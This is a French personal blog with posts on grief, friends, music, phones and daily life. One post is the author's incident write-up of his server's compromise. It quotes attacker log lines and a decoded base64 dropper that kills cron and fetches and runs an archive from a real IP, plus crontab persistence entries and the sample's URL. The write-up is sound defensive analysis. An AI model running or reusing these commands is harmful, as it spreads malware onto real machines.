L'Imp'Rock Scénette (by @_daffyduke_)

Salut Patrice

Olivier Duquesne aka DaffyDuke — 2021-01-13T20:01:24Z

Ce lundi matin, mon ami Patrice en a fini.

Portrait de Patrice Budzinsli

Mathieu Drouet

Magnifique portrait par mon ami Mathieu Drouet (@mathieu.drouet)

Tu sais Patrice, c'est ce copain rencontré pendant le festival qu'il organisait à Arras. Sacrés Belges, via mon copain Steph. Grace à lui j'ai modelé une culture rock avec Girls In Hawai, Ghinzu, Sharko, ... On a fêté son départ du Pharos dignement ! (il est où Jean-Yves ?).Patrice m'a donné l'envie d'aller voir des concerts, au Grand Mix, à Tourcoing. D'année en année,par son impulsion, je suis entré au Conseil d'Administration puis au Bureau de l'association. Que d'afters saluées comme des victoires. Je me souviendrai longtemps encore de ses enfants dansant sur le bar, des repas au catering avec les artistes que ce soit Gomm ou Puppetmastazz ou encore les présentations du trimestre : "Çà va être bien".

Patrice était militant. Pour Benoît. Mais aussi pour Dominique et tant d'autres. Il aimait sans compter. On a voulu soutenir notre copain Dominique lorsqu'on a estimé qu'il avait été licencié injustement. "Hé toi l'informaticien, tu peux pas me faire un site vite fait pour qu'on montre ça à la télé ?".

On s'est retrouvé plusieurs fois dans le bassin minier : une tournée de bars, de copains, de générosité avant tout. Je suis né dans le Nord, je ne connaissais pas l'accueil du Nord comme ça. Patrice, c'est l'ami que je ne voyait pas souvent mais qui me manquait dès la porte franchie.

On pouvait parler de tout, beaucoup de culture. De musique bien sûr, mais aussi de ciné, de séries, de bandes dessinées, de politique, des enfants, de sport (enfin surtout lui) ... Il a toujours montré que c'était possible. Mais c'est aussi la seule personne avec qui je pouvais passer des heures à refaire le monde autour d'une question tellement simple "Çà va ?".

Nous avons pris plaisir quelques jours dans son village il y a déjà trop longtemps. "Faut v'nir hein, et pas que pendant les vacances". J'ai pas tenu ma promesse ...

Une des dernières fois que nous avions échangé au téléphone, c'était pour me dire que son nouveau meilleur ami c'était son chauffeur de taxi. 2h aller, 2h retour quotidien pour son traitement à l'hôpital. J'ai promis que je rappellerai plus souvent.

J'appelle pas, personne, jamais. Je n'ai jamais su faire çà. Tu le savais, c'est toujours toi qui m'a appelé. Toujours. Comme ce jour où tu m'as interdit de rester chez moi après une bien triste nouvelle. On est allé au cinoch', dans le Pas de Calais, moi le lillois de la grande ville.

Puis tu n'arrivais plus à nous lire, alors c'est vrai on s'est un peu perdu. Mais si tu savais le nombre d'insomnies que j'ai pu avoir, hier encore, où tous ces mots se sont bousculés encore et encore.

Salut Patrice, tu étais fier de ta femme Sylvie et des enfants même si "ouai, c'est pas toujours facile tu sais". Je sais qu'ils sont fiers de leur papa.

Que j'aime à écouter la musique qu'Alex a préparé. A chaque titre je te retrouve. Je n'arriverai pas à t'oublier. Je commenterai ici uniquement les 3 titres que j'ai ajoutés :

– Walk The Line par Johnny Cash : c'est le film que nous sommes allés voir ensemble. Oui c'est le seul, mais c'est surtout le moment, c'était ce jour là qu'il fallait le faire, merci
– Turn To Dust par Cascadeur. Tu vois, tu avais quitté le Grand Mix (à vai dire, l'Aéro aussi), le Grand Mix était en travaux, mais quand Cascadeur est venu jouer à l'Idéal, Alexandre a tenu à te rendre hommage, il aurait voulu que tu sois là ce soir là
– The Suburbs par Arcade Fire pour illustrer comment tu pouvais t'enthousiasmer pour des artistes. À l'époque on s'échangeait des mp3 sur napster ou soulseek, ce groupe commençait à peine à percer au Canada, tu nous en parlais déjà....

Je ne t'appellerai pas. C'est promis.

Histoire d'un piratage

Olivier Duquesne aka DaffyDuke — 2019-07-13T23:15:45Z

Ce matin, au réveil, après avoir passé une soirée de remise en route de la messagerie sur mon Kimsufi, quelle ne fut pas ma surprise avec le mail suivant :

*** SECURITY information for <hostname>.kimsufi.com *** Date:	Sat, 13 Jul 2019 05:20:34 +0200 (CEST) <hostname>.kimsufi.com : Jul 13 05:20:33 : postgres : user NOT in sudoers ; TTY=unknown ; PWD=/var/lib/postgresql ; USER=root ; COMMAND=/dev/shm/.satan

Waw ! stupeur. D'abord, première réaction : "punaise, ils sont de mieux en mieux faits les spams de nos jours !" Je regarde l'en-tête, tout ce qui a l'air de plus légal. Alors, regardons ça de plus près. postgres, c'est probablement l'utilisateur de postgresql, je ne me souviens pas trop à quoi il sert mais en effet, ça fait un moment que mon outil de vérification des services cassés me le signale, je le redémarre quand j'y pense. Clairement, ce .satan semble très étrange mais rkhunter ne s'est pas plaint. lynis non plus. Poursuivons.

Analyses

Mon moteur de recherche préféré signale quelqu'un ayant eu une attaque similaire : https://social.imirhil.fr/@aeris/101864561434132681
Moi aussi, je découvre ce .firefoxcatche. Je découvre aussi un répertoire .ssh à côté. Bizarre, je ne me souviens pas de ça. Et là, j'épluche les logs. C'est là que snoopy va m'aider.

auth.log:Jul 9 09:35:40 <hostname> snoopy[22194]: [uid:127 sid:22194 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /dev/shm; rm -rf .satan*; wget -w 1 -T 10 -t 5 -q 54.37.70.249/.satan; chmod 777 .satan auth.log:Jul 9 09:35:40 <hostname> sshd[21969]: Close session: user postgres from 186.3.234.169 port 33820 id 1 auth.log:Jul 9 09:35:41 <hostname> sshd[21969]: Starting session: command for postgres from 186.3.234.169 port 33820 id 0

Ha ! Là, c'est clair. Mais alors, que fait mon google-authenticator ? Il m'a bien demandé un code pour ma propre connexion. J'essaye sur postgres. Stuper, le login se fait sans authentification ni mot de passe ni clé. OK, la machine est compromise.

Réfléchissions, si je me fais voir, il va prendre peur et peut-être tout casser. Je continue à analyser sans rien couper.

OK, dans les logs, je vois des accès de cron :

auth.log:Jul 10 21:13:55 <hostname> snoopy[24068]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql filename:/bin/cat]: cat dir.dir auth.log:Jul 10 21:13:56 <hostname> snoopy[24069]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps auth.log:Jul 10 21:13:56 <hostname> snoopy[24070]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/rm]: rm -rf /var/lib/postgresql/ps.* auth.log:Jul 10 21:13:56 <hostname> snoopy[24071]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab cron.d auth.log:Jul 10 21:13:56 <hostname> snoopy[24072]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/usr/bin/crontab]: crontab -l

je vois aussi des accès à systemd, mais difficile de savoir de quoi il s'agit. Ca tombe pile pendant une opération de maintenance de ma part.

auth.log:Jul 10 19:30:32 <hostname> snoopy[19720]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service auth.log:Jul 10 19:30:50 <hostname> snoopy[19784]: [uid:0 sid:1 tty:(none) cwd:/ filename:/lib/systemd/system-generators/postgresql-generator]: /lib/systemd/system-generators/postgresql-generator /run/systemd/generator /run/systemd/generator.early /run/systemd/generator.late auth.log:Jul 10 19:30:50 <hostname> snoopy[19792]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/mkdir]: mkdir -p /run/systemd/generator/postgresql.service.wants auth.log:Jul 10 19:30:51 <hostname> snoopy[19794]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/sed]: sed s/#.*$//; /^[[:space:]]*$/d; s/^\s*//; s/\s*$// /etc/postgresql/9.6/main/start.conf auth.log:Jul 10 19:30:51 <hostname> snoopy[19796]: [uid:0 sid:1 tty:(none) cwd:/ filename:/bin/ln]: ln -s /lib/systemd/system/postgresql@.service /run/systemd/generator/postgresql.service.wants/postgresql@9.6-main.service

J'ai encore un peu de mal à savoir si c'est "lui" ou "moi". Si c'est l'autre, c'est uid:0 donc root, donc c'est vraiment grave. Le stress monte.

En effet, il y a quelque chose en cron :

# DO NOT EDIT THIS FILE - edit the master and reinstall. # (cron.d installed on Wed Jul 10 21:22:58 2019) # (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $) 0 0 */3 * * /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1 @reboot /var/lib/postgresql/.firefoxcatche/a/upd>/dev/null 2>&1 5 8 * * 0 /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1 @reboot /var/lib/postgresql/.firefoxcatche/b/sync>/dev/null 2>&1 #5 1 * * * /tmp/.X15-unix/.rsync/c/aptitude>/dev/null 2>&1

Comprendre. Ce n'est pas moi sur ce créneau horaire, ça colle avec les logs, il ne faut pas rebooter, il y a d'autres répertoires pourris : /tmp/.X15-unix .
Là dedans, je trouve un tar.gz, un script rsync, des binaires comme ps ou kill.

OK, ça doit expliquer pourquoi je ne vois pas, ça a été remplacé ?
Un ps me montre que le process rsync tourne et c'est tout, rien à côté. Ce n'est donc pas le rsync que je connais. J'en profite pour réinstaller procutils après avoir vérifié que :
– la conf apt n'a pas été altérée récemment
– aucun fichier de configuration ne semble avoir été modifié récemment de façon illégitime. Mais c'est difficile à dire. le git log et les diff de toutes parts montrent bien qu'entre le premier login anormal distant et maintenant des tas de fichiers ont été modifiés. Normal, il y a eu une mise à jour de la Debian, une mise à jour majeur de Yunohost et surtout la migration de la configuration ssh de root vers admin.

Je trouve curieux que postgre ait un shell valide, je pop vite fait une debian pour y mettre un postgresql-server, pareil. Et l'utilisateur n'a a priori pas de mot de passe. Pareil donc, la faille ne vient pas de là, pas encore.

Je ne retrouve pas la clé SSH chez moi, les IP viennent de l'Equateur et de l'Inde.

Je ne retrouve pas de configuration systemd.

Les logs laissent penser que ce n'est pas un humain par leur quantité sur le temps imparti et les commandes exécutées.

auth.log:Jul 10 21:10:40 <hostname> snoopy[23201]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.ttp auth.log:Jul 10 21:10:40 <hostname> snoopy[23202]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/rm]: rm -rf /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 <hostname> snoopy[23203]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/mkdir]: mkdir /var/lib/postgresql/.firefoxcatche auth.log:Jul 10 21:10:40 <hostname> snoopy[23204]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r a /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 <hostname> snoopy[23205]: [uid:127 sid:22226 tty:(none) cwd:/tmp/.X15-unix/.rsync filename:/bin/cp]: cp -r b /var/lib/postgresql/.firefoxcatche/ auth.log:Jul 10 21:10:40 <hostname> snoopy[23207]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/bin/sleep]: sleep 5s auth.log:Jul 10 21:10:40 <hostname> snoopy[23206]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./init0 auth.log:Jul 10 21:10:45 <hostname> snoopy[23214]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 <hostname> snoopy[23213]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche/a filename:/usr/bin/nohup]: nohup ./a auth.log:Jul 10 21:10:45 <hostname> snoopy[23215]: [uid:127 sid:22226 tty:(none) cwd:/var/lib/postgresql/.firefoxcatche filename:/bin/cat]: cat dir2.dir

Mais là ça devient intéressant :

auth.log:Jul 13 05:20:13 <hostname> snoopy[16816]: [uid:127 sid:16816 tty:(none) cwd:/var/lib/postgresql filename:/bin/bash]: bash -c cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcApybSAtcmYgLlgxNS11bml4Cm1rZGlyIC5YMTUtdW5peApjZCAuWDE1LXVuaXgKcGtpbGwgLTkgY3JvbiA+IC5vdXQKd2dldCAtcSBodHRwOi8vNTQuMzcuNzAuMjQ5L2RvdGEyLnRhci5neiB8fCBjdXJsIC1PIC1mIGh0dHA6Ly81NC4zNy43MC4yNDkvZG90YTIudGFyLmd6CnNsZWVwIDdzICYmIHRhciB4ZiBkb3RhMi50YXIuZ3oKI3JtIC1yZiBkb3RhMi50YXIuZ3oKY2QgLnJzeW5jCmNobW9kIDc3NyAqCmNkIC90bXAvLlgxNS11bml4Ly5yc3luYy9hICYmIC4vY3JvbiB8fCAuL2FuYWNyb24KZXhpdCAw" | base64 --decode | bash auth.log:Jul 13 05:20:16 <hostname> sshd[16814]: Starting session: command for postgres from 202.91.82.54 port 33519 id 1

Je vous le décode pour vous :

#!/bin/bash cd /tmp rm -rf .X15-unix mkdir .X15-unix cd .X15-unix pkill -9 cron > .out wget -q http://54.37.70.249/dota2.tar.gz || curl -O -f http://54.37.70.249/dota2.tar.gz sleep 7s && tar xf dota2.tar.gz #rm -rf dota2.tar.gz cd .rsync chmod 777 * cd /tmp/.X15-unix/.rsync/a && ./cron || ./anacron

Je fais le curl au même endroit, ça pourra aider pour la suite.

Le .rsync est fait un script perl en base64 qui écoute en https.

Remédiation

J'oubliais de préciser. Entre temps, la mise à jour de procps a vraiment fait monter en I/O le serveur, l'accès SSH semble cassé.

Via l'interface web de Yunohost, j'arrête SSH purement est simplement. J'ai alors des alertes systèmes et d'indispo de la part du monitoring OVH, je prends peut, j'avoue, et je démarre la machine en mode rescue.

A supposer que des mots de passe soient compromis, je récupère les accès modifie les mots de passe de messagerie et supprime les mails reçus qui indiqueraient à l'attaquant comment accéder au mode rescue. Après, ça n'eclue rien , mais je me félicite d'y avoir pensé sur le moment.

Je prends le temps d'analyser le contenu du data2.tar.gz

C'est un truc de script kiddie.

La chaîne du .rsync se retrouve sur un site de machines compromises (la mienne n'y est pas encore) : http://threatwar.com/ssh/commands

Des gros finds sur l'uid 127 ne semblent pas confirmer la présence d'autres fichiers.

Je me contente de supprimer les répertoires critiques dans /var/lib/postgresql, dans /var/tmp, dans /tmp. Je dégage la cron. J'en profite pour n'autoriser qu'un seul utilisateur dans la configuration sshd.

Et je reboot.

Une fois online, je modifie le mot de passe de postgres (vu qu'on voit bien qu'il a été modifié dans les logs de snoopy), j'éteins postgresql, je désactive le compte.

Post analyses

Déjà, pas de nouvelles tentatives dans les logs d'authentification.

fail2ban a bien fait son travail mais vu qu'il n'y a pas assez de tentatives .... J'en conclue que la faille devait être connue sur un mot de passe postgresql faibles sur debian (avec yunohost ?).

Tous les services ont un comportement normal, les données n'ont pas été altérées. Volées ? Difficile à dire.

La lecture du data2.tar.gz est décidément instructif.

Je regarde ce qu'il y a dans cette instance postgresql. Conclusion, ce serveur ne sert plus rien. Pas de bases de données, aucune application ne semble y accéder, à l'inverse toutes les applications semblent trouver leur bases dans le mariadb à côté.

Je supprime donc toute trace de postgresql : packages et user.

Et j'observe. régulièrement. lnav en permanence.

Conclusion

OK, cette machine n'est pas forcément une crème de la sécurité mais si on se dit que
– l'OS est globalement à jour à la semaine près, tous les paquets debian aus
– nombre des recommandations de lynis ont été appliquées (sshd, nginx, ....)
– lynis, rkhunter, fail2ban sont installés
– iptables est configuré et démarré et n'autorise que les ports légitimes
– il y a une double authentification sur l'accès SSH

et pourtant la machine a été compromise ! et grossièrement !
Cela signifie peut-être qu'il y a autre chose, certes. Je n'ai pas encore pris le temps pour cela. Mais cela signifie surtout qu'il faut toujours rester vigilant.

Annexes

Le code est ici
https://www.hybrid-analysis.com/sam...

http://54.37.70.249/dota2.tar.gz

Les IP sources :

grep sshd auth.log* | grep postgres | grep Start | awk '{print $12}' | sort | uniq -c 26 186.3.234.169 26 202.91.82.54

A mon amie

Olivier Duquesne aka DaffyDuke — 2015-10-10T07:57:41Z

Dominique Aria est débouté !

Olivier Duquesne aka DaffyDuke — 2010-03-26T23:03:52Z

- A la maison / musique, informations

Comparatif d'ordiphones

Olivier Duquesne aka DaffyDuke — 2010-03-04T16:43:00Z

Histoire d'inaugurer la nouvelle version de ce site, mise à jour majeure de SPIP de 1.8.2 à 2.0.10 d'un coup, après avoir essuyé quelques gouttes de sueur, et finalement rien, il fallait alimenter un peu le bousin. Pour parler de quoi ? Et pourquoi pas de ce téléphone reçu dernièrement, et qui finalement, ne me satisfait pas tout à fait. Pour cela on va en faire un bête comparatif avec quelques autres.

Comparatif d'ordiphones
Résumé du Tableau
Fonction \ Modèle	Sony Ericsson k800i	Nokia N95	HTC Hero	Motorola Milestone
Ordiphone	Non	Oui	Oui	Oui
Clavier AZERTY	Non	Non	Non	Oui
Ecran tactile	Non	Non	Oui	Oui
Multi touch	Non	Non	Oui	Oui
Acceleromètre	Non	Oui (si ajout d'application)	Oui	Oui
Système d'exploitation	Dédié	Symbian S60v3	Android 1.6	Android 2.1
Mise à jour possible	Non	Oui (via Ovi)	Possible (vai HTCSync mais HS sur Windows XP)	Oui (via Android ou Motorola Update)
Centralisation des applications	Non	Non (Ovi ?)	Oui (Market)	Oui (Market)
Apparail photo	Passable Résolution - Autofocus - Balance des blancs -	Excellent Résolution 5 M Autofocus ++ Balance des blancs ++	Moyen Résolution 5 M Autofocus + Balance des blancs +	Bon Résolution 5 M Autofocus ++ Balance des blancs +
Protection de l'objectif	Coulissant	Coulissant	Non	Non
Communication Infra-rouge	Oui	Oui	Non	Non
Communication Bluetooth		Oui	Non (le firmware n'est pas compatible	Oui si installation d'application
Communication Wifi	Non	Oui (manuel)	Oui (automatique mais pas systématique)	Oui (automatique)
Access Point Wifi	Non	Oui (si ajout d'application)	Non	Non
NAS Wifi	Non	Non	Oui (si ajout d'application)	Oui (si ajout d'application)
Synthèse vocale sur réception d'appel	Non	Oui	Non	Oui (si ajout d'application)
Envoi/réception de SMS	Oui	Oui	Oui	Oui
Envoi/réception de MMS	Non	Oui	Oui	Oui si mise à jour en Android 2.0.1
Envoi réception de mails	Non	Oui (interface médiocre + GMail à ajouter)	Oui (interface intuitive + GMail)	Oui (interface intuitive + GMail)
Partage de contact	par SMS ou Infra-Rouge	par SMS / MMS / Infra-Rouge / Bluetooth / Mail	par MMS / Mail	par Bluetooth / Mail (SMS, Spotify, Twitter, Facebook, ... si ajout d'application)
Navigateur Web	Médiocre	Médiocre	Excellent	Excellent
Zoom d'écran	Non	Oui (click)	Oui (Multi touch)	Oui (Multi touch)
Baladeur MP3	Médiocre	Moyen (son excellent mais interface médiocre	Moyen (son de qualité, interface pratique	Excellent (son de qualité, interface intuitive)
Prise Jack (Audio)	Non	Oui	Oui	Oui
Prise Jack (TV/Vidéo)	Non	Oui (câble fourni	Non	Non
Carte Micro-SD	Non	Oui (en façade)	Oui (sous la batterie)	Oui (sous le capot)
GPS	Non	Oui (offline si installation d'application, online via opérateur)	Oui (offline si installation d'application)	Oui (offline et online)
Géolocalisation	Non	Non	Oui (après acceptation)	Oui (après acceptation)
Synchronisation avec Evolution	Oui	Non	Non	Non
Synchronisation avec Outlook	Oui	Oui (via Nokia Ovi)	Non	Non
Synchronisation via SyncML	Oui	Oui	Non	Non
Synchronisation des SMS	Oui	Oui	Non	Vers GMail
Synchronisation des Images/Vidéos/Musiques	Oui	Oui	Oui	Oui
Synchronisation Google Contacts	Non	Oui (si ajout d'application)	Oui	Oui
Synchronisation Google Agenda	Non	Oui (si ajout d'application)	Oui	Oui
Synchronisation Google Maps	Non	Non	Non	Oui
Synchronisation Facebook	Non	Non	Oui	Oui (si ajout d'application)
Partage de photos sur FlickR	Non	Oui	Oui	Oui (si ajout d'application)
Partage de vidéos sur Youtube	Non	Non	Non	Oui
Boussole	Non	Non	Oui	Oui
Station d'accueil	Non	Non	Non	Oui (vendue séparément)
Videoconférence	Non	Oui	Non	Non
Lecteur Télévision	Non	Oui	Oui (si ajout d'application)	Oui (si ajout d'application)
Radio	Oui	Oui	Oui	Non
Equipement fourni	Kit mains libres	Kit mains libres, casque de baladeur pilotable, cable TV	casque de baladeur	casque de baladeur

Espérant que cela aide à choisir un beau téléphone. J'ai abandonné mon N95 à cause d'un bug de batterie instable (extinction aléatoire du téléphone, avec 3 batteries différentes), au profit d'un Milestone. Il m'arrive de regretter suivant les usages....

Dans le noir

Olivier Duquesne aka DaffyDuke — 2009-10-10T00:31:20Z

Allongé, dans le noir, j'entends cette respiration saccadée.

Je me souviens.

Il y a quelques mois, on entrait aux urgences, le médecin généraliste n'avait vu qu'une grosse gastro qui ne passait pas. L'hôpital y verra une occlusion intestinale.

Je me souviens.

Il y a quelques mois, je rencontrais ces médecins badgé "médecine palliative" et "psychologue". Ils m'exposent leurs préoccupations. Je reviens dans la chambre. Tu pleures ? me demandes t'elle. Mais non maman ce n'est rien, ça va. Mais si tu pleures, je le vois bien, tu vas aller vite faire les papiers. Oui je me souviens.

Il fait noir, j'entends les gouttes de morphines s'accumuler.

Je me souviens.

Quelques semaines plus tard, ses amis, la famille, tout le monde vient, une dernière fois. Emile est venu, difficilement, péniblement. Le temps de le voir là en bas le long de l'allée, le sang, noir, sombre, puant couler par les oreilles, le nez, les yeux, elle se raidit. Un cri, le mien, mes pleurs, probablement les premiers d'une vie, c'est fini. Elle l'attendait pour partir. Lucienne a perdu sa fille ou presque. Elle a tout vu. Elle est livide, pétrifiée, solide.

Je me souviens. C'était il y a des années.

Allongé dans le noir, j'y pense. Je rêve. Que ça n'est pas arrivé.

Je me souviens.

Hier encore, allongé dans le noir. J'entends cette respiration saccadée. Qui s'arrête parfois.

Hier encore un médecin diagnositiquait une simple crise de nerfs. Et maintenant des spécialistes nous posent des questions curieuses, nous répondons avec nos doutes.

Je me souviens, allongé dans le noir, un petit bébé respire, dort. J'écoute, j'attends, j'ai peur. Tout va bien, dans le noir.

Dominique Aria est licencié de la FNAC de Lille

Olivier Duquesne aka DaffyDuke — 2008-03-29T09:33:00Z

Cela fait très longtemps que je n'ai pas posté sur ce blog. Entres autres j'aurai pû y dire que j'ai emménagé à Lille avec ma petite amie, qu'une nouvelle vie commence, de toute beauté.

Ce n'est pas le cas pour tout le monde.

Et oui, comme l'annonçait le titre de cet article, un ami, Dominique Aria a été injustement licencié de la FNAC. Cette perle rare est une référence pour nombre des intervenants culturels dans le monde musical du Nord Pas de Calais, tant pour les artistes, les programmateurs, les tourneurs, les passionnés, les journaux. Bref, pour toutes ces raisons, Do avait des activités qui l'amenaient à rentrer chez lui avec des CD une fois une autorisation remplie. Ce jour là, il l'a oublié, chose qui peut arriver et s'expliquer. Ce ne fut pas le cas, emmené par la sécurité du magasin, convoqué puis mis à pied par la direction manu militari et enfin licencié pour faute.

On en est là.

Pour mettre en route tous les moyens de communication, un courrier de protestation est déjà parti au directeur de la FNAC, nous avons mis en place un site internet : http://www.soutiendoaria.info

Aidez-nous, aidez Dominique !

Mon papa

Olivier Duquesne aka DaffyDuke — 2007-04-17T06:22:08Z

Dimanche pendant une balade dans la forêt de Raismes, nous avons eu une discussion enrichissante, intelligente et constructive sur le suicide chez les jeunes. En effet, une jeune fille de 14 ans, barmaid à ses heures perdues, vient de mettre fin à ses jours, par pendaison, à La Madeleine.

Entre autres préjugés et faits vérifiés, nous nous sommes dit que le taux était plus élevé ici dans le Nord Pas-de-Calais qu'ailleurs, peut-être par manque d'ensoleillement, ce n'est qu'un facteur parmi d'autres bien sûr, mais ... Des amis viennent d'en subir un chez eux, je n'ai pu m'empêcher de penser à mon papa à moi. Je ne saurai plus jamais maintenant pourquoi il a mis fin à ses jours en se jetant dans le canal après une dépression nerveuse ....

Ce matin j'ai rêvé d'une pochette que l'Etat m'aurait remis avec des photos, des hommages, des documents inconnus retrouvés sur lui. Drôle de rêve.

En vidant la maison de maman vendredi, je suis retombé sur un tas d'objets lui ayant appartenu comme un portefeuille, un livret militaire, une décoration, des photos, etc .... Et aussi son parcours professionnel.

Ce que je peux en dire avec certitude, ça devait être un sacré mécanicien :

Mon papa

– 28/3/1955 au 26/4/1957 : ajusteur apprenti chez Crepelle Cie Porte de Valenciennes à Lille
– du 30/4/1957 au 2/5/1960 : mécanicien ajusteur aux Acieries Haines Saint Pierre à Lesquin
– du 3/5/1960 au 23/7/1962 : service national en Algérie (Guerre d'Algérie)
– 24/7/1962 au 17/6/1963 : mécanicien ajusteur aux Acieries Haines Saint Pierre à Lesquin
– du 18/6/1963 au 30/11/1963 : mécanicien ajusteur chez Doublet rue de Lille à Avelin
– du 3/12/1963 au 31/7/1974 : ouvrier de fabrication chez Rapidase, rue des Comtesses à Seclin
– du 5/8/1974 au 31/3/1978 : mécanicien chez Régis, ZI du Rouge Bouton à Seclin
– du 3/4/1978 au 15/4/1978 : machiniste chez Rapidase, rue des Comtesses à Seclin

Mon papa

Moi aussi j'ai bossé chez Rapidase en 2000 (alors DSM Food Specialties Division). J'y ai retrouvé des collègues de boulot à lui qui l'ont connu dans ses derniers jours. Ils n'ont pas osé m'en parlé, moi non plus.

Un de ces quatre, je prendrai le temps de scanner quelques photos, ce papa que je ne connais que par procuration et photos d'identité. Dimanche, c'était l'anniversaire de sa mort.

Mon papa

On est tous dans la merde, tout est dans la profondeur

Olivier Duquesne aka DaffyDuke — 2007-02-18T11:32:30Z

Lundi

Aujourd'hui au boulot on me confie enfin un truc à faire : terminer la configuration d'un environnement MDA. L'occasion de remettre à plat un système de relivraison de fstab, de palier à une non fonctionnalité MySQL [1], un module kernel propriétaire [2] récalcitrant en 2.6.15, etc ... Le soir, l'occasion de dépiler moultes mails ... et soirée télé.

Mardi

C'est l'Apéro SPIP au Centre Culturel Culturel à Lille. L'occasion de rencontrer des développeurs, des graphistes, des techniciens. Izo se retrouve conférencier pour détailler les nouvelles fonctionnalité du logiciel, Claude maître des clés, moi même à défendre les hébegeurs associatifs. D'autres sont venus comme Fred, Katia, Emile, Pif ... Le soir nous retrouvons Jean-Yves aux Trois Brasseurs jusqu'à décider le commencement de la traduction en Ch'ti. Le soir même je m'y mets, mais le fichier n'a toujours pas été intégré sur spip-trad. Dommage. Tout çà pour rien ?

Mercredi

Ce soir nous décidons de tous aller au Festival International du Court-Métrage au Palais des Beaux-Arts. Ce soir c'est le cycle Fiction 1. Parmi mes préférés, j'ai retenu : Wolf's Dream, l'histoire d'un fille traumatisée par la mort d'une fille ? sa fille ? elle-même ? DVD un délire autour d'un meeting-boy déjanté. Et Dime Lo Que Sientes, cette mexicaine qui devient écrivaine publique. Amusant, je cherche plus facilement à écouter les dialogues espagnols que les anglais, et bien sûr pas les allemands. C'est ce soir que je choisirai le titre de cet article. Ensuite nous retrouvons Vince et Roberta et notre Monsieur Costaud qui se remet tout doucement au Mac Ewans. Ce qu'on en retiendra : une Kwak pression c'est toujours le bonheur. Marie a disparu ... Blacky est enfin parmi nous, ouf, il vit encore, François est amoureux.

Jeudi

L'occasion de vivre une soirée autour du jeu Defifoo. Ce soir ça se passe à La Chimère. J'ai le numéro 36. Là c'est le rouge, une espèce de tarot avec une bombe. Très drôle, pas forcément original mais ravi d'avoir rencontré Marie, Dorothé, Hughes et un tas de gens inconnus. Sansan nous a rejoint plus tard dans la soirée, avec un jus de "pommes-de-terre", merci Mike ! Marie est toute cassée et n'a pu nous rejoindre, dommage.

Vendredi

Je m'étais promis d'aller à Lens au concert de Mukta organisé par mon copain Cesco, dans le cadre d'un cycle autour de l'Inde à la Médiathèque. Malheureusement, avec les courses pour trouver un cadeau original pour Mike, merci Marie de m'avoir rappelé tout çà, brefle, je me retrouve au Lazer Troopers je sais pas quoi mais évite habilement la partie. On se fera un chouette resto en terre connue, le Bistrot du Théatre. Marie nous a rejoint, Sophie râle, Claire écoute, Sandrine mange, Mike fait régime, et ben ... Plus tard, c'est enfin l'occasion pour nous de découvrir le Supermarket, rue de Wazemmes. Merci MySpace, la pub n'était pas trompeuse, le lieu est agréable, mais le son est tout de même très fort !

Samedi

Malgré la newsletter de Cityvox, il ne se passe rien de spécial à l'Opéra. On peut en voir quelques préparations à la Maison Folie Moulin mais rien de plus. Par hasard, je découvre les potentiels plans de mon futur appart .... Je suis drôlement intéressé, "Tu vas encore recomencer ?" me dit-elle. Ouai c'est vrai, c'est encore en rez-de-chaussée ... J'ai 20 minutes pour profiter de mini court-métrages dans les camions face à Euralille. Drôlement sympa ces dessins animés. Quelques minutes avec les gens d'Esterra. La Ville de Lille a mis le paquet Grand'Place pour annoncer (enfin) le tri sélectif à Lille. En effet, dans tout le reste de la métropole, on trie depuis près de 10 ans ! Je rencontre ensuite Les Blaireaux et Goane à l'Aéronef. Je ne peux aller au concert pour de fausses raisons mais j'y retournerai un autre soir. Super sympa ce dialogue, ces parcours, si différents. Je devais rejoindre Fabrice au TriPo ensuite pour la Nuit du Court. Finalement, histoire d'en profiter encore un peu mais pas trop, fatigué ce soir, je vais aux Beaux-Arts. C'est le cycle Animation 2. Ceux que j'ai retenu : Frigo : la fête des aliments dans le frigo jusqu'à ce que l'oeuf en super-héro répare le ventilateur (assez proche de ce qu'on avait déjà vu à l'Univers), Une Charogne qui illustre magnifiquement un poème de Baudelaire, et Dreams and desires ou une caméra folle attachée sur un chien chieur pendant un mariage. C'est ici qu'on entendra le titre de cet article. Pas mangé aujourd'hui, par flemme. J'ai faim. La fatigue se présente aussi peut-être. En rentrant, je remarque un pauvre type en train de dormir dans la voie d'accélération de l'A1 vers Paris. Plus personne au 115, les pompiers du 18 ne peuvent rien faire, et les flics du 17 me disent "ouai on est déjà au courant bonne nuit". Et bien bonne chance inconnu, j'espère pour toi que t'auras pas le sommeil agité, si sommeil il y a .....

Et après

